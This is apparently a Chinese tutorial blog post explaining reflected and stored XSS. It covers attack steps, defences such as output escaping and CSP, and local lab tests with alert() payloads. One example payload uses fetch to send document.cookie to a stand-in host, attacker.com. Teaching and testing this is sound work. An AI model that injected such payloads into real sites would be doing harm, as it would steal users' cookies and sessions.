【脚本注入网页】XSS
XSS(Cross-Site Scripting)是一种常见的Web安全漏洞,攻击者利用网站对用户输入过滤不足的漏洞,将恶意脚本注入到网页中。当其他用户访问该页面时,这些脚本会在他们的浏览器中执行,从而实现攻击目的,如窃取Cookie、会话劫持、钓鱼诈骗等。
常用恶意代码类型:JavaScript、Java、VBScript、ActiveX、Flash(这些技术可用于构造攻击载荷)。
主要类型:
反射型XSS(非持久型):恶意脚本作为请求的一部分发送到服务器,服务器立即返回并在用户浏览器中执行。通常通过诱骗用户点击恶意链接触发。
存储型XSS(持久型):恶意脚本被永久存储在服务器上(如数据库、论坛帖子),当用户访问受影响页面时自动执行,危害更大。
反射型XSS攻击
反射型XSS的攻击过程通常涉及四个步骤
攻击者构造恶意链接:攻击者创建一个包含恶意脚本的URL(例如,http://example.com/search?q=<script>alert('XSS')</script>
),并通过邮件、聊天工具等发送给用户。
用户点击链接:用户收到链接后点击,浏览器向服务器发送请求。
服务器返回恶意内容:服务器未对输入进行过滤,直接将恶意脚本嵌入响应中返回给用户浏览器。
浏览器执行恶意代码:用户浏览器解析响应并执行脚本,攻击者可能窃取用户Cookie、会话信息或其他敏感数据。
例如,如果网站搜索功能没有过滤输入,攻击者可能发送:
http://vulnerable-site.com/search?q=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
用户点击后,脚本执行,将用户的Cookie发送到攻击者服务器。
XSS防御建议
防止XSS攻击的关键在于对用户输入进行严格处理和输出转义:
-
输入验证和过滤:对所有用户输入进行验证,拒绝或过滤可疑字符(如
<
,>
,&
,"
,'
)。 -
输出转义:在将数据输出到HTML页面时,使用适当的转义函数(如HTML编码、JavaScript编码)确保内容不被解释为代码。
-
使用安全框架:现代Web框架(如React、Vue)内置了XSS防护机制,自动转义输出。
-
设置Content Security Policy (CSP):通过HTTP头限制页面可以加载和执行脚本的来源,减少XSS影响。
-
避免使用内联脚本:尽量将JavaScript代码放在外部文件中,减少内联事件处理器(如
onclick
)的使用。
反射型XSS测试
输入网址http://localhost/xss/reflect.html,注入<script>alert(1)</script>点击提交能看到注入了信息
在火狐中打开hackbar,输入http://localhost/xss/get.html?url=http://www.baidu.com,点击连接能直接跳转到百度网页,服务器端的代码(JavaScript)接收了这个参数,但没有进行任何安全过滤,就直接将参数值拼接到HTML中返回。攻击者可以将 http://www.baidu.com
替换为恶意代码,从而造成安全威胁。
http://localhost/xss/get.html?url=javascript:alert(/wuya/) 如图,注入http://localhost/xss/get.html?url=javascript:alert(/wuya/),点击 【Execute】 按钮发送请求,浏览器成功弹窗,显示 /wuya/
,则证明存在XSS漏洞。
存储型XSS测试
打开网址 http://localhost/xss/store.php
并注册user和password,会自动存储进数据库。
接下来,访问另一个展示用户数据的页面(例如 user.php
、admin.php
或 profile.php
)。当应用程序从数据库读取数据(wuya
)并未经任何过滤就直接输出到HTML页面中时,漏洞就会触发。
攻击触发:所有访问这个展示页面的用户,其浏览器都会自动执行植入的恶意脚本。
查数据库表http://localhost/xss/query.php?id=1
可以将密码字段的 123456
替换为一个恶意的XSS Payload。返回注册页面:再次访问 http://localhost/xss/store.php
。在表单中输入用户名 (user):wuya_xss
(或其他任意用户名)密码 (password):<script>alert("XSS by wuya")</script>
提交注册:点击提交按钮。如果页面再次显示“注册成功”,则意味着Payload已经被存入数据库。
声明:本篇内容基于网络安全知识体系,所学用途皆不可用于法律之外的攻击与入侵
感谢大家的观看,小编呆呆羊在这里与大家共同学习共同成长。